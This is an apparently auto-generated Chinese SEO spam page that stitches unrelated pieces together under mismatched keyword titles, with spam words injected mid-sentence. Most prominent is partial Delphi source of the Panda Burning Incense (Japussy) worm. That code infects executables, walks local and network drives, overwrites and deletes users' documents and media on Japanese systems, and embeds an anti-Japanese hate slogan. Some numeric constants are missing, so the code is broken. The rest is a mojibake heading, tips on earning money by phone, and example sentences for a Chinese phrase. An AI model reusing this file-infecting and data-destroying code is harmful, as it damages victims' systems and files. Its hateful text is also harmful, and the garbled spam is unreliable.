【西瓜视频源码】【视频会员系统源码】【网盘引擎源码】伙食源码

【西瓜视频源码】【视频会员系统源码】【网盘引擎源码】伙食源码_免费餐饮系统源代码

2024-11-19 08:22:02 来源：{typename type="name"/} 分类：{typename type="name"/}

1.谁有熊猫烧香的伙食程序?
2.å¼èå¯ä¸å¯ä»¥åäºä»ä¹
3.手机怎么赚钱
4.一大截怎么造句

伙食源码_免费餐饮系统源代码

谁有熊猫烧香的程序?

熊猫烧香核心源码（一部分）

熊猫烧香 - 核心源码 Delphi版本

--------------------------------------------------------------------------------

仅供研究使用!后果自行负责

代码:--------------------------------------------------------------------------------

program Japussy;

uses

Windows, SysUtils, Classes, Graphics, ShellAPI{ , Registry};

const

HeaderSize = ; //病毒体的大小

IconOffset = $EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小，其它版本的源码源代Delphi可能不同

//查找的十六进制字符串可以找到主图标的偏移量

{

HeaderSize = ; //Upx压缩过病毒体的大小

IconOffset = $BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.W 用法: upx -9 -- Japussy.exe

}

IconSize = $2E8; //PE文件主图标的大小--字节

IconTail = IconOffset + IconSize; //PE文件主图标的尾部

ID = $; //感染标记

//垃圾码，以备写入

Catchword = 'If a race need to be killed out,免费码 it must be Yamato. ' +

'If a country need to be destroyed, it must be Japan! ' +

'*** W.Japussy.Worm.A ***';

{ $R *.RES}

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;

stdcall; external 'Kernel.dll'; //函数声明

var

TmpFile: string;

Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Boolean = False; //日文操作系统标记

{ 判断是否为Win9x }

function IsWin9x: Boolean;

var

Ver: TOSVersionInfo;

begin

Result := False;

Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);

if not GetVersionEx(Ver) then

Exit;

if (Ver.dwPlatformID = VER_PLATFORM_WIN_WINDOWS) then //Win9x

Result := True;

end;

{ 发带毒邮件 }

procedure SendMail;

begin

//哪位仁兄愿意完成之？

end;

{ 感染PE文件 }

procedure InfectOneFile(FileName: string);

var

HdrStream, SrcStream: TFileStream;

IcoStream, DstStream: TMemoryStream;

iID: LongInt;

aIcon: TIcon;

Infected, IsPE: Boolean;

i: Integer;

Buf: array[0..1] of Char;

begin

try //出错则文件正在被使用，退出

if CompareText(FileName,餐饮 'JAPUSSY.EXE') = 0 then //是自己则不感染

Exit;

Infected := False;

IsPE := False;

SrcStream := TFileStream.Create(FileName, fmOpenRead);

try

for i := 0 to $ do //检查PE文件头

begin

SrcStream.Seek(i, soFromBeginning);

SrcStream.Read(Buf, 2);

if (Buf[0] = #) and (Buf[1] = #) then //PE标记

begin

IsPE := True; //是PE文件

Break;

end;

SrcStream.Seek(-4, soFromEnd); //检查感染标记

SrcStream.Read(iID, 4);

if (iID = ID) or (SrcStream.Size < ) then //太小的文件不感染

Infected := True;

finally

SrcStream.Free;

end;

if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出

Exit;

IcoStream := TMemoryStream.Create;

DstStream := TMemoryStream.Create;

try

aIcon := TIcon.Create;

try

//得到被感染文件的主图标(字节)，存入流

aIcon.ReleaseHandle;

aIcon.Handle := ExtractIcon(HInstance,系统 PChar(FileName), 0);

aIcon.SaveToStream(IcoStream);

finally

aIcon.Free;

end;

SrcStream := TFileStream.Create(FileName, fmOpenRead);

//头文件

HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

//写入病毒体主图标之前的数据

CopyStream(HdrStream, 0, DstStream, 0, IconOffset);

//写入目前程序的主图标

CopyStream(IcoStream, , DstStream, IconOffset, IconSize);

//写入病毒体主图标到病毒体尾部之间的数据

CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);

//写入宿主程序

CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);

//写入已感染的标记

DstStream.Seek(0, 2);

iID := $;

DstStream.Write(iID, 4);

finally

HdrStream.Free;

end;

finally

SrcStream.Free;

IcoStream.Free;

DstStream.SaveToFile(FileName); //替换宿主文件

DstStream.Free;

end;

except;

end;

{ 将目标文件写入垃圾码后删除 }

procedure SmashFile(FileName: string);

var

FileHandle: Integer;

i, Size, Mass, Max, Len: Integer;

begin

try

SetFileAttributes(PChar(FileName), 0); //去掉只读属性

FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件

try

Size := GetFileSize(FileHandle, nil); //文件大小

i := 0;

Randomize;

Max := Random(); //写入垃圾码的随机次数

if Max < 5 then

Max := 5;

Mass := Size div Max; //每个间隔块的大小

Len := Length(Catchword);

while i < Max do

begin

FileSeek(FileHandle, i * Mass, 0); //定位

//写入垃圾码，将文件彻底破坏掉

FileWrite(FileHandle,伙食西瓜视频源码 Catchword, Len);

Inc(i);

end;

finally

FileClose(FileHandle); //关闭文件

end;

DeleteFile(PChar(FileName)); //删除之

except

end;

{ 获得可写的驱动器列表 }

function GetDrives: string;

var

DiskType: Word;

D: Char;

Str: string;

i: Integer;

begin

for i := 0 to do //遍历个字母

begin

D := Chr(i + );

Str := D + ':';

DiskType := GetDriveType(PChar(Str));

//得到本地磁盘和网络盘

if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then

Result := Result + D;

end;

{ 遍历目录，感染和摧毁文件 }

procedure LoopFiles(Path,源码源代 Mask: string);

var

i, Count: Integer;

Fn, Ext: string;

SubDir: TStrings;

SearchRec: TSearchRec;

Msg: TMsg;

function IsValidDir(SearchRec: TSearchRec): Integer;

begin

if (SearchRec.Attr <> ) and (SearchRec.Name <> '.') and

(SearchRec.Name <> '..') then

Result := 0 //不是目录

else if (SearchRec.Attr = ) and (SearchRec.Name <> '.') and

(SearchRec.Name <> '..') then

Result := 1 //不是根目录

else Result := 2; //是根目录

end;

begin

if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then

begin

repeat

PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑

if IsValidDir(SearchRec) = 0 then

begin

Fn := Path + SearchRec.Name;

Ext := UpperCase(ExtractFileExt(Fn));

if (Ext = '.EXE') or (Ext = '.SCR') then

begin

InfectOneFile(Fn); //感染可执行文件

end

else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then

begin

//感染HTML和ASP文件，免费码将Base编码后的餐饮病毒写入

//感染浏览此网页的所有用户

//哪位大兄弟愿意完成之？

end

else if Ext = '.WAB' then //Outlook地址簿文件

begin

//获取Outlook邮件地址

end

else if Ext = '.ADC' then //Foxmail地址自动完成文件

begin

//获取Foxmail邮件地址

end

else if Ext = 'IND' then //Foxmail地址簿文件

begin

//获取Foxmail邮件地址

end

else

begin

if IsJap then //是倭文操作系统

begin

if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or

(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or

(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or

(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or

(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or

(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then

SmashFile(Fn); //摧毁文件

end;

å¼èå¯ä¸å¯ä»¥åäºä»ä¹

手机怎么赚钱

手机上赚钱方法有下载软件百庋知道，好看视频等等，系统都能赚一些零钱。伙食手机上赚钱有很多，源码源代但是免费码钱很少，小平台个人信息透露，餐饮所以要赚钱选择大平台，系统比如百度知道，看视频和回答问题就能赚钱，希望我的回答能帮到你。手机上挣钱的很多，像百度知道，好看视频，看多多，视频会员系统源码百度极速版，都可以的。的也可以，腾讯的也可以。希望有帮助。手机上能赚钱的APP太多了，但是也就是挣一些小钱，还浪费好多时间，想挣钱还是要靠自己，好好学一门技术，凭自己的才能努力去赚钱，这样才能为自己今后的生活提供保障。手机赚钱软件，都是小打小闹，赚不了大钱的，一天也就是最多赚个块把钱，，也就是娱乐娱乐，消磨一下时间。赚大钱是不可能的。手机上赚钱软件平台有很多，网盘引擎源码比如说阅读小说或者新闻，玩游戏也可以，还有就是现在走路一样可以赚钱，这些赚钱方法简单，只要下载软件平台，然后再按提示操作即可，不过也有一些赚钱软件带有欺骗性或者赌博性质的最好不要参与其中。百度知道就可以挣钱，每天签到答题看视频，看直播或者是快手，你开机不会啊，让你有粉丝的话就可以直播中来，挣不少钱，还有刷宝啥的。一般手机上通过别人的软件完成任务类的，大多赚不了多少钱。除非靠自己手机创业或者做直播，做陪玩，赚的还多点，就是这样子。

一大截怎么造句

1、gamma曲线源码芹菜一大截细长翠绿的茎顶着几片叶子，一把根就像龙须一样，难怪有人称它为蔬菜中的苗条代表呢。

2、一场暴雨过后，河水就猛涨了一大截。

3、这个月的进度已落后一大截，我们得快马加鞭才行。

4、由于这次考试成绩落了一大截，爸爸让我闭门思过，好好检讨。

5、比赛接近终了时，我们已领先一大截，再以摧枯拉朽之势投进几球，把对方打得落花流水。

6、时光飞逝已开学，作业还剩一大截，php 应用商店源码慌；新学期，担心老师新同学，忧；进入美丽学校，离开父母我独立，喜；打起精神，收拾好心情，快乐迎接新学期！

7、我是快，但我比别的队里的赛跑选手差了一大截。

8、胜出一大截的胜者却是弗吉尼亚的一家小公司，名为“公开源代码解决方案”，其明显的优势是对电子世界的把握。

9、胜者胜出了一大截，却是弗吉尼亚的一家小公司，名为“公开来源解决方案”，它的明显优势是它对电子世界的把握。

、每年这个季节,太阳被云封住时,就会突然冷一大截.

、发现一家海鲜店也是刚刚开业的，不过已经落下我一大截了，我看他们家的信誉已经是好几个心了…

、牛的价格也比国产优质杂交奶牛高出了一大截———带犊的元,不带犊的元。

、蒙的,不懂装懂,陆晨的印象,在他心目中顿时落下去一大截,本来就排斥如今更排斥了。

、一天下来,老李的血压又“噌噌噌”地冒上去一大截。

、李三越长越大,身高超出了同龄人一大截,身子骨也很粗壮,长大后经常跑出家去在林间嬉戏,身形敏捷,爬树功夫甚是了得,经常爬到望天树尖窥看着森林周围。

、我家里养了一只小狗长得十分可爱，我给它取名为“欢欢”。圆圆的脑袋上嵌着一双琥珀色的大眼睛。它有一条粉嘟嘟的舌头，到了夏天总是伸出一大截。它的四肢强壮有力，爪尖是白色的。真逗人喜爱。

、国强坐在凳子上，大大的屁股就像地里的南瓜，衣服下面露出一大截内裤

、我家里养了一只小狈长得十分可爱，我给它取名为“欢欢”。圆圆的脑袋上嵌着一双琥珀色的大眼睛。它有一条粉嘟嘟的舌头，到了夏天总是伸出一大截。它的四肢强壮有力，爪尖是白色的。真逗人喜爱。

、一看到古筝，我不觉有些惊讶：这么长，立起来比我还高一大截呢！琴上的弦有白色的，也有绿色的。我数了数，一共有二十一根琴弦。天哪！这么多的琴弦，学古筝的人怎么分的清呢？

、在年代美国嘻哈艺人的推动下，上图中这种外裤拖到臀部以下，露出一大截内裤的穿法在全美青少年中都一度非常流行，世界各地也有不少效仿者。

、不仅全省五十名只占两席,而且上线总人数也比一中少了一大截,因此担心一中太过四处招摇,无疑于落井下石,伤及堂堂的“省示范”。

、他还没说完,我迅速的从他手中抢过来,如获至宝,无比激动,连忙打开属性之后,心却凉了一大截。

、可他不敢跳啊,渝香楼好歹也是公共场所,举架高度比普通民房高出一大截,罗耀龙往街上的地面一看这落差,有点忐忑。

、他们虽也端上了金饭碗,但由于人微权轻,待遇也就差了一大截。

、他不知道楚逸的这种能力是与生俱来的,而且楚逸自从学了神霞不灭功以后,身体对外界环境的感知度与灵敏度就与日俱增,如今更是超出了常人一大截。

、本来是想看看,那株凤尾草究竟被小鼎吃了没有,没想到,神识所见竟是恰恰相反,那株灵草非但没消失,反倒长高了一大截,通体颜色也深了许多。

、就在郭子兴向他荐贤的这段时间,正南、正东和东北三个方向的敌军,已经各自向前又推进了一大截。

、对于矮秆作物,例如大豆,一般的杂草就可以影响产量,而如果杂草高出大豆一截或者一大截,大豆的产量就会受到严重影响导致大量减产、甚至颗粒无收。

、该隧道长近米,除隧道顶部大面积垮塌外,道路七拱八翘,有的裂缝宽二三十厘米,有的路段凸出一大截,有的路面凹陷下去一大片。

、合辙这老王*还会审时度势,不过夜是,人家学历比我们几个那可高一大截,老实就是笨啊?都被小说给误导了。

、风云老棺材瓢子说什么“彩云姐姐才能和我能相比差了一大截”,那纯属扯几把蛋,只是想激怒彩云姐姐而已。

、我拿着塑料管材探出阳台试了试,够不着,差一大截呢,就算够得着,这塑料管也缺乏刚性,无法着力,挑不动什么东西。

、对于叶凌飞而言,罗斯福是他最好的合作对象,其他人都差了一大截,所以他才会如此重视这次的合作,不惜采用威迫利诱各种手段。

、宋泽费劲脑汁彻夜未眠想了足足三天始终想不明白,为什么感情总是比金钱矮了一大截,为什么感情在金钱面前总是无法昂头挺胸。

、这等于自己的生命凭空增加了一大截,也代表着自己的生命随时有可能凭白无故的少一大截。

、其实辟尘珠也不算冤得慌,比起买椟还珠来还是要强上那么一大截了。

、落雪MM则表示自己还差了一大截,不过至少有了盼头。

、即将走出大学校门的郑州大学大四学生李丽丽说,最近对什么事都缺乏兴趣,一想到即将走入社会眼前一片迷茫,学业也拖下一大截了。

、何昊心中一喜,虽然大日金钟罩没有得到提升,但习得阴阳乱斩后,他的进攻力提升了一大截,进退自如,攻守平衡。

、这一下,只是划破了被子的棉套,露出了一大截棉花而已。

、建筑班的兄弟,近了,隐隐约约间,陈轩听见他们的叫骂声,个个煞气冲天,虽然建筑班只有人,但在这个时刻,气势上却较比镇安兄弟会的攀出一大截。

、黄林儿突然的冒出来让钱小东本来惊魂未定的心更是跳高了一大截!“你是从哪里冒出来的!怪吓人的!老三,今晚的伙食你觉得怎么样?”。

、茶悠絮虽然强悍,但毕竟是个女孩子,男女性别上的天生差异,在这个时候就体现出来了,很快,她就落后了简疏潼和美男一大截。

、杨旭心悦诚服,郑佳一的魄力和行动力都比自己强出一大截来,自己只擅长做幕僚,一旦有需要承担责任,需要拍板定夺的时候就会犯晕,应急小组的组长,应该让郑佳一来做。

、他从3岁起开始学习英语,由于天资过人,盛迪葳很快就把班上的同学甩开一大截。

、他们的“羞点”很低,即使现在“耻感”已经是沦丧了好几轮,也比其他国家易羞一大截。

【西瓜视频 源码】【视频会员系统源码】【网盘引擎源码】伙食源码_免费餐饮系统源代码

相关文章

【西瓜视频源码】【视频会员系统源码】【网盘引擎源码】伙食源码_免费餐饮系统源代码